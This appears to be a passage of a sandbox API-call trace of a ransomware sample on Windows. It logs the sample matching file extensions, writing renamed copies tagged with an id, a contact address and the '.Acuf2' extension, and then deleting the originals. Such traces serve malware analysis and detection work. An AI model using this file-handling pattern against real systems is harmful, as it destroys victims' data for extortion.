	[0053.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.366] lstrlenW (lpString=".dbf") returned 4
	[0053.366] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0053.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.366] lstrlenW (lpString=".1cd") returned 4
	[0053.366] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0053.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.366] lstrlenW (lpString=".jpg") returned 4
	[0053.366] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0053.366] lstrcmpiW (lpString1=".CHM", lpString2=".Acuf2") returned 1
	[0053.366] lstrlenW (lpString="VBCN6.CHM") returned 9
	[0053.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.366] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=109718) returned 1
	[0053.367] CloseHandle (hObject=0x1bc) returned 1
	[0053.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20
	[0053.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.367] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.367] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0053.367] GetLastError () returned 0x0
	[0053.367] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x1ac96, lpOverlapped=0x0) returned 1
	[0053.371] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1aca0, lpOverlapped=0x0) returned 1
	[0053.373] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.373] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0053.373] SetEndOfFile (hFile=0x1f8) returned 1
	[0053.374] CloseHandle (hObject=0x1f8) returned 1
	[0053.374] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.374] SetEndOfFile (hFile=0x1bc) returned 1
	[0053.375] CloseHandle (hObject=0x1bc) returned 1
	[0053.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.376] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1
	[0053.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.376] lstrlenW (lpString=".doc") returned 4
	[0053.376] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0053.376] lstrlenW (lpString=".docx") returned 5
	[0053.376] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1
	[0053.376] lstrlenW (lpString=".pdf") returned 4
	[0053.376] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0053.376] lstrlenW (lpString=".xls") returned 4
	[0053.376] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0053.376] lstrlenW (lpString=".xlsx") returned 5
	[0053.376] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1
	[0053.376] lstrlenW (lpString=".ppt") returned 4
	[0053.376] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0053.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.376] lstrlenW (lpString=".zip") returned 4
	[0053.376] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0053.377] lstrlenW (lpString=".rar") returned 4
	[0053.377] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0053.377] lstrlenW (lpString=".bz2") returned 4
	[0053.377] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0053.377] lstrlenW (lpString=".7z") returned 3
	[0053.377] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0053.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.377] lstrlenW (lpString=".dbf") returned 4
	[0053.377] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0053.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.377] lstrlenW (lpString=".1cd") returned 4
	[0053.377] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0053.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.377] lstrlenW (lpString=".jpg") returned 4
	[0053.377] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0053.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.377] lstrlenW (lpString=".doc") returned 4
	[0053.377] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0053.377] lstrlenW (lpString=".docx") returned 5
	[0053.377] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1
	[0053.377] lstrlenW (lpString=".pdf") returned 4
	[0053.377] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0053.377] lstrlenW (lpString=".xls") returned 4
	[0053.377] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0053.377] lstrlenW (lpString=".xlsx") returned 5
	[0053.377] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1
	[0053.377] lstrlenW (lpString=".ppt") returned 4
	[0053.378] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0053.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.378] lstrlenW (lpString=".zip") returned 4
	[0053.378] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0053.378] lstrlenW (lpString=".rar") returned 4
	[0053.378] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0053.378] lstrlenW (lpString=".bz2") returned 4
	[0053.378] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0053.378] lstrlenW (lpString=".7z") returned 3
	[0053.378] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0053.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.378] lstrlenW (lpString=".dbf") returned 4
	[0053.378] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0053.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.378] lstrlenW (lpString=".1cd") returned 4
	[0053.378] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0053.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70
	[0053.378] lstrlenW (lpString=".jpg") returned 4
	[0053.378] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0053.378] lstrcmpiW (lpString1=".CHM", lpString2=".Acuf2") returned 1
	[0053.378] lstrlenW (lpString="VBENDF98.CHM") returned 12
	[0053.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.379] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=72031) returned 1
	[0053.379] CloseHandle (hObject=0x1bc) returned 1
	[0053.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20
	[0053.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.380] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.380] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0053.380] GetLastError () returned 0x0
	[0053.380] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x1195f, lpOverlapped=0x0) returned 1
	[0053.551] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x11960, lpOverlapped=0x0) returned 1
	[0053.554] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.554] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.554] SetEndOfFile (hFile=0x1f8) returned 1
	[0053.554] CloseHandle (hObject=0x1f8) returned 1
	[0053.554] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.554] SetEndOfFile (hFile=0x1bc) returned 1
	[0053.555] CloseHandle (hObject=0x1bc) returned 1
	[0053.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.556] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1
	[0053.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.556] lstrlenW (lpString=".doc") returned 4
	[0053.556] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0053.556] lstrlenW (lpString=".docx") returned 5
	[0053.556] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1
	[0053.556] lstrlenW (lpString=".pdf") returned 4
	[0053.556] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0053.556] lstrlenW (lpString=".xls") returned 4
	[0053.556] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0053.556] lstrlenW (lpString=".xlsx") returned 5
	[0053.556] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1
	[0053.556] lstrlenW (lpString=".ppt") returned 4
	[0053.556] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0053.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.557] lstrlenW (lpString=".zip") returned 4
	[0053.557] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0053.557] lstrlenW (lpString=".rar") returned 4
	[0053.557] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0053.557] lstrlenW (lpString=".bz2") returned 4
	[0053.557] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0053.557] lstrlenW (lpString=".7z") returned 3
	[0053.557] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0053.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.557] lstrlenW (lpString=".dbf") returned 4
	[0053.557] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0053.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.557] lstrlenW (lpString=".1cd") returned 4
	[0053.557] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0053.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.557] lstrlenW (lpString=".jpg") returned 4
	[0053.557] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0053.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.557] lstrlenW (lpString=".doc") returned 4
	[0053.557] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0053.557] lstrlenW (lpString=".docx") returned 5
	[0053.557] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1
	[0053.557] lstrlenW (lpString=".pdf") returned 4
	[0053.557] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0053.557] lstrlenW (lpString=".xls") returned 4
	[0053.557] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0053.557] lstrlenW (lpString=".xlsx") returned 5
	[0053.558] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1
	[0053.558] lstrlenW (lpString=".ppt") returned 4
	[0053.558] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0053.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.558] lstrlenW (lpString=".zip") returned 4
	[0053.558] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0053.558] lstrlenW (lpString=".rar") returned 4
	[0053.558] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0053.558] lstrlenW (lpString=".bz2") returned 4
	[0053.558] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0053.558] lstrlenW (lpString=".7z") returned 3
	[0053.558] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0053.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.558] lstrlenW (lpString=".dbf") returned 4
	[0053.558] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0053.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.558] lstrlenW (lpString=".1cd") returned 4
	[0053.558] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0053.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73
	[0053.558] lstrlenW (lpString=".jpg") returned 4
	[0053.558] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0053.558] lstrcmpiW (lpString1=".config", lpString2=".Acuf2") returned 1
	[0053.558] lstrlenW (lpString="VSTOInstaller.config") returned 20
	[0053.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.663] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=716) returned 1
	[0053.663] CloseHandle (hObject=0x158) returned 1
	[0053.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20
	[0053.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.663] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.664] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.664] GetLastError () returned 0x0
	[0053.664] ReadFile (in: hFile=0x158, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x2cc, lpOverlapped=0x0) returned 1
	[0053.674] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2d0, lpOverlapped=0x0) returned 1
	[0053.675] ReadFile (in: hFile=0x158, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.675] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0053.675] SetEndOfFile (hFile=0x178) returned 1
	[0053.675] CloseHandle (hObject=0x178) returned 1
	[0053.675] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.675] SetEndOfFile (hFile=0x158) returned 1
	[0053.676] CloseHandle (hObject=0x158) returned 1
	[0053.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.676] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1
	[0053.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.676] lstrlenW (lpString=".doc") returned 4
	[0053.676] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1
	[0053.677] lstrlenW (lpString=".docx") returned 5
	[0053.677] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1
	[0053.677] lstrlenW (lpString=".pdf") returned 4
	[0053.677] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1
	[0053.677] lstrlenW (lpString=".xls") returned 4
	[0053.677] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1
	[0053.677] lstrlenW (lpString=".xlsx") returned 5
	[0053.677] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1
	[0053.677] lstrlenW (lpString=".ppt") returned 4
	[0053.677] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1
	[0053.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.677] lstrlenW (lpString=".zip") returned 4
	[0053.677] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1
	[0053.677] lstrlenW (lpString=".rar") returned 4
	[0053.677] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1
	[0053.677] lstrlenW (lpString=".bz2") returned 4
	[0053.677] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1
	[0053.677] lstrlenW (lpString=".7z") returned 3
	[0053.677] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1
	[0053.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.677] lstrlenW (lpString=".dbf") returned 4
	[0053.677] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1
	[0053.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.677] lstrlenW (lpString=".1cd") returned 4
	[0053.677] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1
	[0053.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.677] lstrlenW (lpString=".jpg") returned 4
	[0053.677] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1
	[0053.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.677] lstrlenW (lpString=".doc") returned 4
	[0053.678] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1
	[0053.678] lstrlenW (lpString=".docx") returned 5
	[0053.678] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1
	[0053.678] lstrlenW (lpString=".pdf") returned 4
	[0053.678] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1
	[0053.678] lstrlenW (lpString=".xls") returned 4
	[0053.678] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1
	[0053.678] lstrlenW (lpString=".xlsx") returned 5
	[0053.678] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1
	[0053.678] lstrlenW (lpString=".ppt") returned 4
	[0053.678] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1
